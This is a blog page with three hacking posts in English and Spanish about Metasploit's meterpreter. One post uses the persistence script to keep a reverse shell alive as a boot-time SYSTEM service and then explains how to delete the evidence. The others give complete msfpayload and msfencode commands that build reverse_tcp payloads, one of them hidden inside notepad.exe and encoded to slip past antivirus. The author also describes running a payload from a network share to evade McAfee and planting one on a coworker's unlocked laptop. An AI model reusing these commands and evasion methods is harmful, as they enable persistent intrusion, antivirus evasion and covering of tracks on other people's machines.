Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas
Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas

martes, 20 de marzo de 2012

Owned for ever


Some days ago, I read something about the modules of meterpreter that one can execute once a machine has been compromised but I can't remember where I did it. So, I want to talk about the use of some of them.

First for all, we have a lot of scripts to run (about 180) and we can do some actions such as to collect the credentials stored in the system, or in the software installed.

There are other options one can do, and one this is the possibility to make our connection persistent and mantain that channel for future connections. In order to do that, we must use the "persistent" script. For see the options that it have, one must execute "run persistence -h":

Using that script, we create service on the compromissed machine that it will be ready every time the server will be rebooted.

To explain how it works, we must know the options it have:

-A Automatically start a matching multi/handler to connect to the agent
-L Location in target host where to write payload to, if none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back

I will use the options "-A", "-S", "-X", "-p 4445" and "-r 192.168.0.182". As we can see on the following image, a new session has been created, and also we can see where the vbs script has been stored and executed with a new process ID (PID).

If we want to proof if the channel is persistent now, we must reboot the owned computer, so the active sessions will be died and when the computer has been loaded it will try to connect to our multihandler.


In order to clean our evidences, we must delete the files created, and kill the current process. For do that, whe we run for the first time the "persistent" script, a cleaning script has been created on /root/.msf4/logs/persistence/*.rc, so we must to change the PID on the script and put it as the last command to execute because if we run that before the other commands, the conection will be died, and will not be possible to delete the key on the register.

At last, we must run the "resource" command for meterpreter to execute the cleaning script.

It is possible to obtain some errors when we run the resource command, but only the accepted errors are when tring to delete the payload created on the system (only, if we didn't change the path and the script was created on the %TEMP% directory because when the machine will be rebooted, the script will be deleted), and the error when tring to kill the Process, for the same reason.

sábado, 29 de octubre de 2011

Owning, my friend! (II)

Lo de hoy es para comentar una anécdota que me ha ocurrido en mi actual interés de "cómo saltarme un antivirus"...

El caso es, que generando una máquina virtual con WinXP SP2, con antivirus McShit Enterprise 8.7 actualizado ayer mismo..

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > payload.exe

Coloco el payload en el servidor web y en un recurso compartido por tal de tener dos lugares a los que acceder al archivo.

Si intento descargar el archivo a través de la web, el antivirus hace bien su trabajo, y saltando la protección de acceso al disco, salta una alerta (¡Bien por McShit!!).

Mientras investigaba en esto, pensé:
- ¿y si intento ofuscar un poco el binario?
Así que comentándolo con compañeros, me comentaron la posibilidad de utilizar técnicas "básicas" para la ocultación de binarios dentro de otros archivos (ya sean binarios o no). Probé dos técnicas:

La primera es la de incluir el ejecutable dentro de otro, mediante el "iexpress" de windows, haciendo un "instalador" para ambos. Esto me lo comentó un compañero, pero solo permite el mover el archivo, a la hora de ejecutarlo, desempaca los dos archivos, y cuando ejecuta nuestro ejecutable, el antivirus lo detecta, puesto que no está ofuscado ni nada y vuelve a estar visible para éste.

La segunda, ya la conocía, se trata de los Alternate Data Streams , pero para este caso, tampoco funciona, puesto que al enviar el archivo, si no se realiza la copia mediante un método que mantenga los ADS, no sirve para nada, además, que el antivirus también lo detecta :D
Siguiendo con el tema del origen del archivo... si intento copiar el archivo desde el recurso compartido al disco... también salta una alerta... Pero en el caso de ejecutar directamente el archivo desde el recurso compartido.. la cosa cambia..

No solo permite ejecutarlo, si no que mientras que realizas las acciones que quieras con el meterpreter, el antivirus ni se entera.

Así pues.. la idea puede ser, en lugar de meter un archivo que contenga un ejecutable malicioso.. uno que se encargue de montar el recurso compartido y ejecutar un archivo específico.. y que para esto, si que nos podría ir bien el iexpress ;)

Por otro lado, he empezado a leer cómo modificar un binario con tal de hacerlo indetectable a un antivirus... pero es jodido de cojones..:D así que supongo que cuando escriba lo próximo.. será algo más mundano.

lunes, 24 de octubre de 2011

Owning, my friend!


Después de tanto tiempo.. va siendo hora de que actualice un poco..

En mi empresa, tenemos la mala costumbre (o buena..) de que cuando alguien se deja el ordenador sin bloquear, hacer lo que llamamos un "follarín de los bosques" (dejo a elección del lector la búsqueda de esta "técnica"... .com), la cosa ha ido evolucionando... y da la casualidad que tengo un compañero un tanto bacilón y que llevo unos días intentando darle una lección... (ese compañero es Seifreed ;))


Así pues.. esa lección consistía en meterle un meterpreter en su máquina, y una vez ahí, asustarle un poco jugando con procesos, notepads, capturas de pantalla y demás... La máquina era un Win7 con el antivirus Comodo, por lo que lo primero de todo que hice fue crear un ejecutable con el payload desde el msfpayload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > seif.exe


a continuación este ejecutable lo subí a virustotal y cómo se puede ver en la imagen, dicho archivo no lo reconoce como malicioso (al menos el antivirus que él utiliza):



Así pues, tocaba ejecutar la operación "Owning Seifreed" en el momento en que se levantase y no bloquease el portátil... así que el primer paso era dejar un meterpreter escuchando para la conexión inversa desde su máquina.

./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Unos minutos después.. ya estaba levantándose para dejarme el portátil sin protección alguna.. (muahhahaha) por lo que aproveche para conectarme a mi máquina vía http y descargarme el archivo que después ejecutaría...

http://192.168.0.153/seif.exe

Tuve la mala suerte de que me pilló con las manos en la masa, por lo que saltó sobre mi y empezamos a realizar un forcejeo... él para quitarme el mouse pensando que quería abrir alguna url jugosa.. (www.lolshock.com) y yo para cerrar la información de descargas y que no viese el archivo descargado para poder así esperar a la próxima oportunidad para ejecutarlo...

Desgraciadamente, un fin de semana de por medio, se ha dado cuenta del archivo descargado... así que hoy ya hemos jugado con el ejecutable ambos, con la idea de si realmente Comodo no lo detectaría o se lo tragaría...

Al ejecutar seif.exe el antivirus ha detectado que se trataba de un ejecutable que no conocía y por lo tanto lo ha "sandboxeado" para evitar males mayores... por lo que ha permitido realizar la conexión inversa, pero, sin permitir el acceso a ciertas llamadas por parte de meterpreter.
Por lo que he empezado a darle vueltas.. ¿por que lo ha detectado el antivirus?¿por que lo ha metido en una sandbox?¿que pasaría si lo detectase como un ejecutable conocido?


Así que ahí he decidido.. y si lo codifico dentro de un archivo conocido?¿también lo detectará como extraño? Por lo que hemos vuelto a generar otro payload, pero esta vez metiéndolo dentro del ejecutable del notepad, y por si acaso, codificacándolo 5 veces con shikata_ga_nai...

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /tmp/notepad.exe -o /tmp/troloro.exe

Volvemos a subir el archivo generado a la máquina que queremos Ownear, y volvemos a ejecutar...

Se vuelve a realizar la conexión, y esta vez no ha aparecido ningún mensaje del "Comodo" indicándome nada extraño... pero vuelvo a no tener privilegios para nada.. por lo que supongo que ha vuelto a "sandboxear" el proceso..

Lo hemos estado mirando y en el modo "paranoid" parece ser que todo ejecutable que no conoce lo mete en una sandbox, mientras que si estuviese en modo protección "advanced", se lo traga todo... por lo que en ese caso, es prácticamente imposible saltarse esa restricción... Al investigar un poco más, también hemos podido ver que para analizar los ejecutables, se mira que tengan un tamaño máximo, con tal de no ralentizar los análisis.. pero este límite es de 40 MB.. así que es un poco grande como para generarlo.. y seguramente, lo seguiría metiendo en la sandbox, aún sin analizar..

Estos días intentaré mirarme un poco la forma de evadir antivirus... no como lo hace Selvi metiendo código vbasic en memoria... si no de intentar hacer menos detectable un ejecutable..
a ver si tengo éxito y puedo escribir algo ;)